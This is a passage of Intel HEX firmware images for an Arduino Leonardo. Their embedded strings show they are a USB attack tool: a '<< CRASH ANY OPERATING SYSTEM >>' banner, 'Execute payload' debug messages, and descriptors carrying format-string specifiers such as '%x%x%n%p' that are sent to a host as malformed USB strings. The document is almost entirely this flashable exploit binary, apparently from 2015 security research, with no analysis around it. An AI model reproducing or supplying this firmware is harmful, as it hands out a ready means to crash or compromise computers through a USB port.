    :100CC0008093CA0008950F931F93CF93DF93EC0195
    :100CD0008C01FE0101900020E9F73197EC1BFD0B20
    :100CE000C8018C1B9D0B8E179F0730F4F801819172
    :100CF0008F010E945006EDCFDF91CF911F910F9190
    :100D00000895CF93DF93CDB7DEB7DA950FB6F89499
    :100D1000DEBF0FBECDBFFE01EB5FFE4F4191519193
    :100D20009F0160E071E0CE0101960E940507CE01AF
    :100D300001960E946306D3950FB6F894DEBF0FBEEE
    :100D4000CDBFDF91CF9108958F929F92AF92BF92C6
    :100D5000CF92DF92EF92FF920F931F93CF93DF9387
    :100D600000D0CDB7DEB75B0122E535E03F932F938E
    :100D700089839A830E9481068981882E9A81992E7F
    :100D80000F900F9000E010E08EE5E82E85E0F82E41
    :100D900091E1C92E94E0D92E0A151B05E4F4F40163
    :100DA00081914F0190E09F938F93FF92EF920E9469
    :100DB00081060F5F1F4FC8018F7099270F900F900A
    :100DC0000F900F90892B41F7DF92CF920E948106FE
    :100DD0000F900F90E1CF81E194E09F938F930E9459
    :100DE00081060F900F900F900F90DF91CF911F9180
    :100DF0000F91FF90EF90DF90CF90BF90AF909F90BA
    :100E00008F900895F8940C94E609AEE0B0E0EBE022
    :100E1000F7E00C94BD098C01CA0146E04C831A83AB
    :100E2000098377FF02C060E070E8615071097E833A
    :100E30006D83A901BC01CE0101960E9431074D814D
    :100E40005E8157FD0AC02F813885421753070CF485
    :100E50009A01F801E20FF31F10822E96E4E00C9441
    :100E6000D909ACE0B0E0E7E3F7E00C94AF097C010E
    :100E70006B018A01FC0117821682838181FFBDC14B
    :100E8000CE0101964C01F7019381F60193FD859106
    :100E900093FF81916F01882309F4ABC1853239F446
    :100EA00093FD859193FF81916F01853229F4B701FC
    :100EB00090E00E941909E7CF512C312C20E020321C
    :100EC000A0F48B3269F030F4803259F0833269F447
    :100ED00020612CC08D3239F0803339F4216026C076
    :100EE0002260246023C0286021C027FD27C030ED88
    :100EF000380F3A3078F426FF06C0FAE05F9E300DD6
    :100F00001124532E13C08AE0389E300D1124332E45
    :100F100020620CC08E3221F426FD6BC1206406C015
    :100F20008C3611F4206802C0883641F4F60193FD36
    :100F3000859193FF81916F018111C1CF982F9F7D82
    :100F40009554933028F40C5F1F4FFFE3F9830DC0D5
    :100F5000833631F0833771F0833509F05BC022C0EE
    :100F6000F801808189830E5F1F4F44244394512CE4
    :100F7000540115C03801F2E06F0E711CF801A08019
    :100F8000B18026FF03C0652D70E002C06FEF7FEFD8
    :100F9000C5012C870E940E092C0183012C852F7717
    :100FA000222E17C03801F2E06F0E711CF801A080EC
    :100FB000B18026FF03C0652D70E002C06FEF7FEFA8
    :100FC000C5012C870E9403092C012C852068222E44
    :100FD000830123FC1BC0832D90E048165906B0F412
    :100FE000B70180E290E00E9419093A94F4CFF5012C
    :100FF00027FC859127FE81915F01B70190E00E9457
    :10100000190931103A94F1E04F1A51084114510472
    :1010100071F7E5C0843611F0893639F5F80127FFFC
    :1010200007C060817181828193810C5F1F4F08C06E
    :1010300060817181882777FD8095982F0E5F1F4F03
    :101040002F76B22E97FF09C0909580957095619587
    :101050007F4F8F4F9F4F2068B22E2AE030E0A401CF
    :101060000E944B09A82EA81844C0853729F42F7E6A
    :10107000B22E2AE030E025C0F22FF97FBF2E8F3646
    :10108000C1F018F4883579F0B4C0803719F088378A
    :1010900021F0AFC02F2F2061B22EB4FE0DC08B2DDA
    :1010A0008460B82E09C024FF0AC09F2F9660B92E15
    :1010B00006C028E030E005C020E130E002C020E1B9
    :1010C00032E0F801B7FE07C06081718182819381AF
    :1010D0000C5F1F4F06C06081718180E090E00E5F61
    :1010E0001F4FA4010E944B09A82EA818FB2DFF77C3
    :1010F000BF2EB6FE0BC02B2D2E7FA51450F4B4FED0
    :101100000AC0B2FC08C02B2D2E7E05C07A2C2B2DD8
    :1011100003C07A2C01C0752C24FF0DC0FE01EA0D1E
    :10112000F11D8081803311F4297E09C022FF06C0A1
    :101130007394739404C0822F867809F0739423FD0E
    :1011400013C020FF06C05A2C731418F4530C571800
    :10115000732C731468F4B70180E290E02C870E942E
    :10116000190973942C85F5CF731410F4371801C046
    :10117000312C24FF12C0B70180E390E02C870E943D
    :1011800019092C8522FF17C021FF03C088E590E0D4
    :1011900002C088E790E0B7010CC0822F867859F032
    :1011A00021FD02C080E201C08BE227FD8DE2B70184
    :1011B00090E00E941909A51438F4B70180E390E08B
    :1011C0000E9419095A94F7CFAA94F401EA0DF11D6F
    :1011D0008081B70190E00E941909A110F5CF33205A
    :1011E00009F451CEB70180E290E00E9419093A94C7
    :1011F000F6CFF7018681978102C08FEF9FEF2C9683
    :10120000E2E10C94CB09FC010590615070400110A3
    :10121000D8F7809590958E0F9F1F0895FC0161501F
    :10122000704001900110D8F7809590958E0F9F1F08
    :1012300008950F931F93CF93DF93182F092FEB017E
    :101240008B8181FD03C08FEF9FEF20C082FF10C014
    :101250004E815F812C813D81421753077CF4E881E8
    :10126000F9819F012F5F3F4F39832883108306C088
    :10127000E885F985812F0995892B29F72E813F81F2
    :101280002F5F3F4F3F832E83812F902FDF91CF9190
    :101290001F910F910895FA01AA27283051F12031AA
    :1012A00081F1E8946F936E7F6E5F7F4F8F4F9F4FFA
    :1012B000AF4FB1E03ED0B4E03CD0670F781F891F3C
    :1012C0009A1FA11D680F791F8A1F911DA11D6A0F0A
    :1012D000711D811D911DA11D20D009F468943F91BD
    :1012E0002AE0269F11243019305D3193DEF6CF01BC
    :1012F0000895462F4770405D4193B3E00FD0C9F782
    :10130000F6CF462F4F70405D4A3318F0495D31FDEE
    :101310004052419302D0A9F7EACFB4E0A695979541
    :10132000879577956795BA95C9F700976105710517
    :1013300008959B01AC010A2E069457954795379561
    :101340002795BA95C9F7620F731F841F951FA01DBB
    :101350000895EE0FFF1F0590F491E02D09942F9250
    :101360003F924F925F926F927F928F929F92AF9235
    :10137000BF92CF92DF92EF92FF920F931F93CF9382
    :10138000DF93CDB7DEB7CA1BDB0B0FB6F894DEBF19
    :101390000FBECDBF09942A88398848885F846E843F
    :1013A0007D848C849B84AA84B984C884DF80EE8089
    :1013B000FD800C811B81AA81B981CE0FD11D0FB692
    :1013C000F894DEBF0FBECDBFED010895F894FFCFB6
    :1013D0001201000200000040AD0BEFBE000101024F
    :1013E000000122034200610064002000420041002D
    :1013F00042004500250078002500780025006E0099
    :101400002500700018034200410044002000430002
    :101410003000460046004500450021001201000250
    :10142000000000406A0503000001010203010902F7
    :10143000270001010000FA0705810304040C0705D9
    :10144000010204000C0705820104000C07000700DC
    :101450000700480100500072006F006C00690066D0
    :101460000069006300000A550000006BFD180A00C7
    :10147000809F0AB901312B940A8101128946001319
    :10148000000257028B0A5E0AF80A5F01F21201009D
    :1014900002010000400D055702000101020301B9DD
    :1014A0000A0100F80A5F0A810A220342006100640F
    :1014B0000020004200410042004500250078002540
    :1014C00000780025006E00250070001803420041DE
    :1014D000004400200043003000460046004500451F
    :1014E00000210012010002010000400D055702001A
    :1014F000010102030109040000030100000003F2DE
    :101500000AEC0A0902270001010000FA01AB0A09EE
    :101510000400000301000000090200202020202018
    :101520005F5F5F5F5F5F5F5F2020202020202020C3
    :1015300020202020202020202020202020202020AB
    :1015400020205F5F5F5F5F205F5F20205F202020A3
    :101550002020205F5F0A0D00202020202F205F5FC9
    :101560005F5F2F202F5F20205F5F5F5F205F5F5FE7
    :101570005F5F20205F5F5F5F5F20202020202F20A3
    :101580005F5F5F2F2F202F5F285F295F5F5F5F2FD7
    :10159000202F5F5F0A0D002020202F202F202020E9
    :1015A0002F205F5F205C2F205F5F20602F205F5F18
    :1015B000205C2F205F5F5F2F5F5F5F5F205C5F5F5E
    :1015C000205C2F205F5F2F202F205F5F5F2F202F59
    :1015D0002F5F2F0A0D0020202F202F5F5F5F2F200D
    :1015E0002F202F202F202F5F2F202F202F5F2F2005
    :1015F000285F5F2020292F5F5F5F2F205F5F2F20F4
    :101600002F202F5F2F202F202F5F5F2F202C3C0AB1
    :101610000D0020205C5F5F5F5F2F5F2F202F5F2F0B
    :101620005C5F5F2C5F2F5C5F5F5F5F2F5F5F5F5F63
    :101630002F20202020202F5F5F5F5F2F5C5F5F2FB8
    :101640005F2F5C5F5F5F2F5F2F7C5F7C0A0D002048
    :101650003C3C2043485241534820414E59204F5072
    :1016600045524154494E472053595354454D203E0D
    :101670003E0A0D00203C3C202863292053657267F8
    :10168000656A20536368756D696C6F20323031353F
    :101690002C204F70656E536F7572636520536563C0
    :1016A00075726974792052616C66205370656E6E34
    :1016B0006562657267203E3E0A0D000A3E3E20507C
    :1016C0007265737320627574746F6E20746F20730B
    :1016D0007461727420657865637574696F6E2E2EFF
    :1016E0002E0A0D005B44454255475D2045786563F1
    :1016F000757465207061796C6F616420300A0D002B
    :10170000526563762D446174613A0A0D005B44456D
    :101710004255475D200953656E6420436F6E6669CC
    :101720006775726174696F6E446573637269707412
    :101730006F720928696E6465783A2569292E2E2E04
    :101740000D0A005B44454255475D200953656E64B0
    :1017500020496E74657266616365204465736372C7
    :101760006970746F720928696E7465726661636569
    :101770003A2569292E2E2E0D0A005B444542554715
    :101780005D200953656E6420456E64706F696E74E8
    :101790002044657363726970746F720928656E64A2
    :1017A000706F696E743A2569292E2E2E0D0A005B22
    :1017B00044454255475D203C3C70616E6963206D35
    :1017C0006F64653F3E3E0D0A005B44454255475DF0
    :1017D0002009203E3E20537472696E672044657371
    :1017E00063726970746F72207265717565737420AD
    :1017F0002D2073656E64696E67206D616C666F7213
    :101800006D656420737472696E67212073657475E9
    :10181000702E7756616C75654C203D3D2025690D15
    :101820000A005B48455844554D505D0A0D0025306F
    :04183000325820000A
    :00000001FF
    
    Arduino Leonardo Firmware #2:
    
    :100000000C94A8000C94C5000C94C5000C94C50079
    :100010000C94C5000C94C5000C94C5000C94C5004C
    :100020000C94C5000C94C5000C94C2050C942D04CE
    :100030000C94C5000C94C5000C94C5000C94C5002C
    :100040000C94C5000C94C5000C94C5000C94C5001C
    :100050000C94C5000C94C5000C94C5000C940C02C3
    :100060000C94C5000C94C5000C94C5000C94C500FC
    :100070000C94C5000C94C5000C94C5000C94C500EC
    :100080000C94C5000C94C5000C94C5000C94C500DC
    :100090000C94C5000C94C5000C94C5000C94C500CC
    :1000A0000C94C5000C94C5000C94C50009030C0306
    :1000B000FF0203032D032D032D0310031403180364
    :1000C0001E0322032D0328030000000200080E0077
    :1000D00000030401000B000000000000000000000D
    :1000E00000000000000004080201104080401020C1
    :1000F00040804080080204018040201002011080EE
    :100100001020404004040404040304050202020217
    :1001100004030202020206060606060604040202A0
    :100120000204000000002300260029002C002F00FC
    :1001300000000000250028002B002E0031000000E8
    :100140000000240027002A002D00300000C180811B
    :1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
    :10016000B1E0E0EDF3E102C005900D92A436B107D5
    :10017000D9F725E0A4E6B5E001C01D92AF37B2077C
    :10018000E1F70E94C8000C9402070C940000089547
    :10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
    :1001A000DEBF0FBECDBF0E949F020E94C70060E06D
    :1001B00083E00E942E0361E087E00E942E0361E04D
    :1001C00088E00E942E030E9457067E012AE9E20E73
    :1001D000F11C84E093E0D70111969C938E9389E003
    :1001E00094E013969C938E93129782E2E2E1F1E001
    :1001F0009E012F5F3F4F6901D90101900D928A95B1
    :10020000E1F788E1E4E3F1E0DE01939601900D92DD
    :100210008A95E1F782E1ECE4F1E0DE01DB96019002
    :100220000D928A95E1F789E0EEE5F1E0DE01A05953
    :10023000BF4F01900D928A95E1F72A593F4F99E0FF
    :10024000992ED901E92D1D92EA95E9F78E010957FA
    :100250001F4F87E0E7E6F1E0D80101900D928A9503
    :10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
    :1002700001900D928A95E1F7AE0147585F4F87E0F4
    :10028000E5E7F1E0DA0101900D928A95E1F75E0170
    :10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
    :1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
    :1002B0001D92EA95E9F7E3E0DC011996EC93F90168
    :1002C0009082E4E0D9011196EC93F901DC01292D2B
    :1002D00001900D922A95E1F7FE01EC56FF4FDC01EB
    :1002E0001B96FC93EE931A971D96BC92AE921C97A8
    :1002F0001183008373836283558344830C521109F5
    :100300002CE0F80111922A95E9F721E0D80119961D
    :100310002C931997FE01E059FF4F01900D929A948A
    :10032000E1F7F8019387828761E088E00E94670324
    :100330008BE492E00E94630688E892E00E946306E4
    :1003400087EC92E00E94630686E093E00E946306D9
    :1003500082E493E00E9463068FE793E00E946306C5
    :1003600084EA93E00E9463068BEE93E00E946306AA
    :1003700083E00E949D03892B09F047C05E01F3E2F0
    :10038000AF0EB11C8824839482E1982E84E194E01E
    :100390000E946306BF92AF92DF92CF92FF92EF92DC
    :1003A0001F928F921F930F932DB73EB722513109A1
    :1003B0000FB6F8943EBF0FBE2DBFADB7BEB71196B6
    :1003C000FE01FB96892D01900D928A95E1F78DE64D
    :1003D00095E00E94010668E873E180E090E00E94E9
    :1003E00079028DE695E00E944C0660E087E00E946D
    :1003F000670368E873E180E090E00E9479020FB63D
    :10040000F894DEBF0FBECDBFC1CF6AE070E080E0E0
    :1004100090E00E947902ACCF1F920F920FB60F921C
    :1004200011242F933F938F939F93AF93BF9380910A
    :10043000650590916605A0916705B09168053091BA
    :10044000640523E0230F2D3720F40196A11DB11D73
    :1004500005C026E8230F0296A11DB11D2093640557
    :100460008093650590936605A0936705B093680532
    :100470008091690590916A05A0916B05B0916C051A
    :100480000196A11DB11D8093690590936A05A09303
    :100490006B05B0936C05BF91AF919F918F913F9188
    :1004A0002F910F900FBE0F901F9018953FB7F894A3
    :1004B0008091690590916A05A0916B05B0916C05DA
    :1004C00026B5A89B05C02F3F19F00196A11DB11DAF
    :1004D0003FBF6627782F892F9A2F620F711D811DCC
    :1004E000911D42E0660F771F881F991F4A95D1F72B
    :1004F0000895CF92DF92EF92FF92CF93DF936B013B
    :100500007C010E945602EB01C114D104E104F10404
    :1005100079F00E9456026C1B7D0B683E7340A0F37D
    :1005200081E0C81AD108E108F108C851DC4FECCFCE
    :10053000DF91CF91FF90EF90DF90CF900895789466
    :1005400084B5826084BD84B5816084BD85B58260D8
    :1005500085BD85B5816085BDEEE6F0E08081816076
    :100560008083E1E8F0E01082808182608083808176
    :1005700081608083E0E8F0E0808181608083E1E950
    :10058000F0E0808182608083808181608083E0E907
    :10059000F0E0808181608083E1ECF0E08081846024
    :1005A0008083808182608083808181608083E3ECAE
    :1005B000F0E0808181608083E0ECF0E08081826007
    :1005C0008083E2ECF0E0808181608083EAE7F0E004
    :1005D000808184608083808182608083808181606B
    :1005E0008083808180688083089590E0FC0131974A
    :1005F000EE30F10590F5EA5AFF4F0C94A90980916D
    :1006000080008F7703C0809180008F7D8093800071
    :10061000089584B58F7702C084B58F7D84BD089519
    :10062000809190008F7707C0809190008F7D03C0EC
    :1006300080919000877F8093900008958091C00002
    :100640008F7703C08091C0008F7D8093C000089594
    :100650008091C200877F8093C2000895CF93DF937B
    :1006600090E0FC01EA51FF4F2491FC01EC5FFE4F4A
    :100670008491882349F190E0880F991FFC01E25C86
    :10068000FE4FA591B491805D9E4FFC01C591D49120
    :100690009FB7611108C0F8948C91209582238C93A8
    :1006A000888182230AC0623051F4F8948C91322FF1
    :1006B000309583238C938881822B888304C0F8949F
    :1006C0008C91822B8C939FBFDF91CF9108950F93D4
    :1006D0001F93CF93DF931F92CDB7DEB7282F30E063
    :1006E000F901E853FF4F8491F901EA51FF4F14914A
    :1006F000F901EC5FFE4F04910023C9F0882321F03B
    :1007000069830E94F5026981E02FF0E0EE0FFF1F80
    :10071000E05DFE4FA591B4919FB7F8948C91611163
    :1007200003C01095812301C0812B8C939FBF0F9034
    :10073000DF91CF911F910F910895CF93DF93282FD1
    :1007400030E0F901E853FF4F8491F901EA51FF4F7E
    :10075000D491F901EC5FFE4FC491CC2391F081114B
    :100760000E94F502EC2FF0E0EE0FFF1FEE5DFE4F52
    :10077000A591B4912C912D2381E090E021F480E0AB
    :1007800002C080E090E0DF91CF910895615030F099
    :100790002091F100FC0120830196F8CF289884E68F
    :1007A00080937D0508951092E900109271051092D2
    :1007B000700590936F0580936E050895FF920F93D7
    :1007C0001F93CF93DF93F82E8B01EA01BA01C80182
    :1007D0000E94A406F80120E030E08EEF2C173D07C0
    :1007E00091F1F7FE02C0A49101C0A0816091700553
    :1007F0007091710540916E0550916F0564177507F2
    :10080000ACF49091E8009570E1F39091E80092FDCE
    :100810001CC0A093F100A0917005B09171051196D4
    :10082000AF73BB27AB2B11F48093E800A091700548
    :10083000B09171051196B0937105A09370052F5F6B
    :100840003F4F3196CBCFC90102C08FEF9FEFDF91B1
    :10085000CF911F910F91FF9008951F920F920FB6A5
    :100860000F9211246F927F928F929F92AF92BF92BC
    :10087000CF92DF92EF92FF920F931F932F933F93AC
    :100880004F935F936F937F938F939F93AF93BF9398
    :10089000EF93FF93CF93DF93CDB7DEB76297DEBFC1
    :1008A000CDBF1092E9008091E80083FF46C168E067
    :1008B000CE010A960E94C60382EF8093E8009A85D3
    :1008C00097FF05C08091E80080FFFCCF03C08EEF4A
    :1008D0008093E800892F807609F023C18B858111F0
    :1008E00005C01092F1001092F10020C1282F2D7F39
    :1008F000213009F41BC1853049F48091E80080FF64
    :10090000FCCF8C8580688093E30010C1863009F0AD
    :10091000E1C02D8508891989223009F0B3C0EC8423
    :100920008E2D90E020917305309174058217930706
    :100930000CF09FC00E94D3031F92EF928DE394E0CE
    :100940009F938F930E9481068CE0E89E7001112492
    :10095000E0917505F0917605EE0DFF1D89E0DE0151
    :10096000119601900D928A95E1F7C8010E94D30378
    :1009700049E050E0BE016F5F7F4F80E00E94DE03E0
    :100980000F900F900F900F90C12CD12C612C712CD7
    :1009900033E7A32E34E0B32E4AEA842E44E0942EAB
    :1009A000E0917505F0917605EE0DFF1D818590E0D3
    :1009B000681679060CF0BAC07F926F92BF92AF9220
    :1009C0000E948106E0917505F0917605EE0DFF1D00
    :1009D000628573856C0D7D1D49E050E080E00E94CA
    :1009E000DE030F900F900F900F9000E010E0E09169
    :1009F0007505F0917605EE0DFF1D0284F385E02D5F
    :100A0000EC0DFD1D818590E0081719075CF51F931B
    :100A10000F939F928F920E948106E0917505F0914D
    :100A20007605EE0DFF1D0284F385E02DEC0DFD1D16
    :100A3000C801880F991FA485B585A80FB91F4D91CE
    :100A40005C910284F385E02DE80FF91F60817181CC
    :100A500080E00E94DE030F5F1F4F0F900F900F90FA
    :100A60000F90C5CF8FEF681A780A8EE0C80ED11CA0
    :100A700097CF8FED94E09F938F930E9481060F9004
    :100A80000F9058C0C8012A8B0E94D3032A892130B5
    :100A9000C1F0233009F04EC08C851F928F9389EFEF
    :100AA00094E09F938F930E94810642E050E062E8B9
    :100AB00071E080E00E94DE030F900F900F900F9086
    :100AC00035C04091000150E060E071E080E00E949C
    :100AD000DE032CC0873071F1883021F481E08093EF
    :100AE000F10024C0893011F5937021F5EDE4F1E0B7
    :100AF00081E021E096E38093E9002093EB003491BC
    :100B00003093EC009093ED008F5F3196843099F72D
    :100B10008EE78093EA001092EA008C85809372053C
    :100B200005C0888999890E94D30304C08EEF809301
    :100B3000E80003C081E28093EB0062960FB6F89460
    :100B4000DEBF0FBECDBFDF91CF91FF91EF91BF917F
    :100B5000AF919F918F917F916F915F914F913F9155
    :100B60002F911F910F91FF90EF90DF90CF90BF904A
    :100B7000AF909F908F907F906F900F900FBE0F90CF
    :100B80001F9018951F920F920FB60F9211248F93FA
    :100B90009F938091E1001092E10083FF0FC01092BB
    :100BA000E90091E09093EB001092EC0092E39093B7
    :100BB000ED001092720598E09093F00082FF1AC049
    :100BC00080917E05882339F080917E058150809345
    :100BD0007E05882369F080917D05882359F08091F6
    :100BE0007D05815080937D05811104C0289A02C043
    :100BF0005D9AF1CF9F918F910F900FBE0F901F9034
    :100C00001895CF93DF93CDB7DEB782E1FE0135961D
    :100C1000A0E0B1E001900D928A95E1F78F89988D5F
    :100C20009093760580937505898D9A8D90937405C0
    :100C3000809373058B8D9C8D90937C0580937B05B1
    :100C40008D8D9E8D90937A05809379058F8D98A1D7
    :100C500090937805809377051092720581E08093D8
    :100C6000D70080EA8093D80082E189BD09B400FEF4
    :100C7000FDCF61E070E080E090E00E94790280E9C1
    :100C80008093D8008CE08093E2001092E000559AA7
    :100C9000209ADF91CF91089581E08093E00008953C
    :100CA0009091C80095FFFCCF8093CE0008951092DC
    :100CB000CD0087E68093CC0088E18093C9008EE068
    :100CC0008093CA0008950F931F93CF93DF93EC0195
    :100CD0008C01FE0101900020E9F73197EC1BFD0B20
    :100CE000C8018C1B9D0B8E179F0730F4F801819172
    :100CF0008F010E945006EDCFDF91CF911F910F9190
    :100D00000895CF93DF93CDB7DEB7DA950FB6F89499
    :100D1000DEBF0FBECDBFFE01EB5FFE4F4191519193
    :100D20009F0160E071E0CE0101960E940507CE01AF
    :100D300001960E946306D3950FB6F894DEBF0FBEEE
    :100D4000CDBFDF91CF9108958F929F92AF92BF92C6
    :100D5000CF92DF92EF92FF920F931F93CF93DF9387
    :100D600000D0CDB7DEB75B0122E535E03F932F938E
    :100D700089839A830E9481068981882E9A81992E7F
    :100D80000F900F9000E010E08EE5E82E85E0F82E41
    :100D900091E1C92E94E0D92E0A151B05E4F4F40163
    :100DA00081914F0190E09F938F93FF92EF920E9469
    :100DB00081060F5F1F4FC8018F7099270F900F900A
    :100DC0000F900F90892B41F7DF92CF920E948106FE
    :100DD0000F900F90E1CF81E194E09F938F930E9459
    :100DE00081060F900F900F900F90DF91CF911F9180
    :100DF0000F91FF90EF90DF90CF90BF90AF909F90BA
    :100E00008F900895F8940C94E609AEE0B0E0EBE022
    :100E1000F7E00C94BD098C01CA0146E04C831A83AB
    :100E2000098377FF02C060E070E8615071097E833A
    :100E30006D83A901BC01CE0101960E9431074D814D
    :100E40005E8157FD0AC02F813885421753070CF485
    :100E50009A01F801E20FF31F10822E96E4E00C9441
    :100E6000D909ACE0B0E0E7E3F7E00C94AF097C010E
    :100E70006B018A01FC0117821682838181FFBDC14B
    :100E8000CE0101964C01F7019381F60193FD859106
    :100E900093FF81916F01882309F4ABC1853239F446
    :100EA00093FD859193FF81916F01853229F4B701FC
    :100EB00090E00E941909E7CF512C312C20E020321C
    :100EC000A0F48B3269F030F4803259F0833269F447
    :100ED00020612CC08D3239F0803339F4216026C076
    :100EE0002260246023C0286021C027FD27C030ED88
    :100EF000380F3A3078F426FF06C0FAE05F9E300DD6
    :100F00001124532E13C08AE0389E300D1124332E45
    :100F100020620CC08E3221F426FD6BC1206406C015
    :100F20008C3611F4206802C0883641F4F60193FD36
    :100F3000859193FF81916F018111C1CF982F9F7D82
    :100F40009554933028F40C5F1F4FFFE3F9830DC0D5
    :100F5000833631F0833771F0833509F05BC022C0EE
    :100F6000F801808189830E5F1F4F44244394512CE4
    :100F7000540115C03801F2E06F0E711CF801A08019
    :100F8000B18026FF03C0652D70E002C06FEF7FEFD8
    :100F9000C5012C870E940E092C0183012C852F7717
    :100FA000222E17C03801F2E06F0E711CF801A080EC
    :100FB000B18026FF03C0652D70E002C06FEF7FEFA8
    :100FC000C5012C870E9403092C012C852068222E44
    :100FD000830123FC1BC0832D90E048165906B0F412
    :100FE000B70180E290E00E9419093A94F4CFF5012C
    :100FF00027FC859127FE81915F01B70190E00E9457
    :10100000190931103A94F1E04F1A51084114510472
    :1010100071F7E5C0843611F0893639F5F80127FFFC
    :1010200007C060817181828193810C5F1F4F08C06E
    :1010300060817181882777FD8095982F0E5F1F4F03
    :101040002F76B22E97FF09C0909580957095619587
    :101050007F4F8F4F9F4F2068B22E2AE030E0A401CF
    :101060000E944B09A82EA81844C0853729F42F7E6A
    :10107000B22E2AE030E025C0F22FF97FBF2E8F3646
    :10108000C1F018F4883579F0B4C0803719F088378A
    :1010900021F0AFC02F2F2061B22EB4FE0DC08B2DDA
    :1010A0008460B82E09C024FF0AC09F2F9660B92E15
    :1010B00006C028E030E005C020E130E002C020E1B9
    :1010C00032E0F801B7FE07C06081718182819381AF
    :1010D0000C5F1F4F06C06081718180E090E00E5F61
    :1010E0001F4FA4010E944B09A82EA818FB2DFF77C3
    :1010F000BF2EB6FE0BC02B2D2E7FA51450F4B4FED0
    :101100000AC0B2FC08C02B2D2E7E05C07A2C2B2DD8
    :1011100003C07A2C01C0752C24FF0DC0FE01EA0D1E
    :10112000F11D8081803311F4297E09C022FF06C0A1
    :101130007394739404C0822F867809F0739423FD0E
    :1011400013C020FF06C05A2C731418F4530C571800
    :10115000732C731468F4B70180E290E02C870E942E
    :10116000190973942C85F5CF731410F4371801C046
    :10117000312C24FF12C0B70180E390E02C870E943D
    :1011800019092C8522FF17C021FF03C088E590E0D4
    :1011900002C088E790E0B7010CC0822F867859F032
    :1011A00021FD02C080E201C08BE227FD8DE2B70184
    :1011B00090E00E941909A51438F4B70180E390E08B
    :1011C0000E9419095A94F7CFAA94F401EA0DF11D6F
    :1011D0008081B70190E00E941909A110F5CF33205A
    :1011E00009F451CEB70180E290E00E9419093A94C7
    :1011F000F6CFF7018681978102C08FEF9FEF2C9683
    :10120000E2E10C94CB09FC010590615070400110A3
    :10121000D8F7809590958E0F9F1F0895FC0161501F
    :10122000704001900110D8F7809590958E0F9F1F08
    :1012300008950F931F93CF93DF93182F092FEB017E
    :101240008B8181FD03C08FEF9FEF20C082FF10C014
    :101250004E815F812C813D81421753077CF4E881E8
    :10126000F9819F012F5F3F4F39832883108306C088
    :10127000E885F985812F0995892B29F72E813F81F2
    :101280002F5F3F4F3F832E83812F902FDF91CF9190
    :101290001F910F910895FA01AA27283051F12031AA
    :1012A00081F1E8946F936E7F6E5F7F4F8F4F9F4FFA
    :1012B000AF4FB1E03ED0B4E03CD0670F781F891F3C
    :1012C0009A1FA11D680F791F8A1F911DA11D6A0F0A
    :1012D000711D811D911DA11D20D009F468943F91BD
    :1012E0002AE0269F11243019305D3193DEF6CF01BC
    :1012F0000895462F4770405D4193B3E00FD0C9F782
    :10130000F6CF462F4F70405D4A3318F0495D31FDEE
    :101310004052419302D0A9F7EACFB4E0A695979541
    :10132000879577956795BA95C9F700976105710517
    :1013300008959B01AC010A2E069457954795379561
    :101340002795BA95C9F7620F731F841F951FA01DBB
    :101350000895EE0FFF1F0590F491E02D09942F9250
    :101360003F924F925F926F927F928F929F92AF9235
    :10137000BF92CF92DF92EF92FF920F931F93CF9382
    :10138000DF93CDB7DEB7CA1BDB0B0FB6F894DEBF19
    :101390000FBECDBF09942A88398848885F846E843F
    :1013A0007D848C849B84AA84B984C884DF80EE8089
    :1013B000FD800C811B81AA81B981CE0FD11D0FB692
    :1013C000F894DEBF0FBECDBFED010895F894FFCFB6
    :1013D0001201000200000040AD0BEFBE000101024F
    :1013E000000122034200610064002000420041002D
    :1013F00042004500250078002500780025006E0099
    :101400002500700018034200410044002000430002
    :101410003000460046004500450021001201000250
    :10142000000000406A05900000010102030109026A
    :10143000270001010000FA0705810304040C0705D9
    :10144000010204000C0705820104000C07000700DC
    :101450000700480100500072006F006C00690066D0
    :101460000069006300000A550000006BFD180A00C7
    :10147000809F0AB901312B940A8101128946001319
    :10148000000257028B0A5E0AF80A5F01F21201009D
    :1014900002010000400D055702000101020301B9DD
    :1014A0000A0100F80A5F0A810A220342006100640F
    :1014B0000020004200410042004500250078002540
    :1014C00000780025006E00250070001803420041DE
    :1014D000004400200043003000460046004500451F
    :1014E00000210012010002010000400D055702001A
    :1014F000010102030109040000030100000003F2DE
    :101500000AEC0A0902270001010000FA01AB0A09EE
    :101510000400000301000000090200202020202018
    :101520005F5F5F5F5F5F5F5F2020202020202020C3
    :1015300020202020202020202020202020202020AB
    :1015400020205F5F5F5F5F205F5F20205F202020A3
    :101550002020205F5F0A0D00202020202F205F5FC9
    :101560005F5F2F202F5F20205F5F5F5F205F5F5FE7
    :101570005F5F20205F5F5F5F5F20202020202F20A3
    :101580005F5F5F2F2F202F5F285F295F5F5F5F2FD7
    :10159000202F5F5F0A0D002020202F202F202020E9
    :1015A0002F205F5F205C2F205F5F20602F205F5F18
    :1015B000205C2F205F5F5F2F5F5F5F5F205C5F5F5E
    :1015C000205C2F205F5F2F202F205F5F5F2F202F59
    :1015D0002F5F2F0A0D0020202F202F5F5F5F2F200D
    :1015E0002F202F202F202F5F2F202F202F5F2F2005
    :1015F000285F5F2020292F5F5F5F2F205F5F2F20F4
    :101600002F202F5F2F202F202F5F5F2F202C3C0AB1
    :101610000D0020205C5F5F5F5F2F5F2F202F5F2F0B
    :101620005C5F5F2C5F2F5C5F5F5F5F2F5F5F5F5F63
    :101630002F20202020202F5F5F5F5F2F5C5F5F2FB8
    :101640005F2F5C5F5F5F2F5F2F7C5F7C0A0D002048
    :101650003C3C2043485241534820414E59204F5072
    :1016600045524154494E472053595354454D203E0D
    :101670003E0A0D00203C3C202863292053657267F8
    :10168000656A20536368756D696C6F20323031353F
    :101690002C204F70656E536F7572636520536563C0
    :1016A00075726974792052616C66205370656E6E34
    :1016B0006562657267203E3E0A0D000A3E3E20507C
    :1016C0007265737320627574746F6E20746F20730B
    :1016D0007461727420657865637574696F6E2E2EFF
    :1016E0002E0A0D005B44454255475D2045786563F1
    :1016F000757465207061796C6F616420300A0D002B
    :10170000526563762D446174613A0A0D005B44456D
    :101710004255475D200953656E6420436F6E6669CC
    :101720006775726174696F6E446573637269707412
    :101730006F720928696E6465783A2569292E2E2E04
    :101740000D0A005B44454255475D200953656E64B0
    :1017500020496E74657266616365204465736372C7
    :101760006970746F720928696E7465726661636569
    :101770003A2569292E2E2E0D0A005B444542554715
    :101780005D200953656E6420456E64706F696E74E8
    :101790002044657363726970746F720928656E64A2
    :1017A000706F696E743A2569292E2E2E0D0A005B22
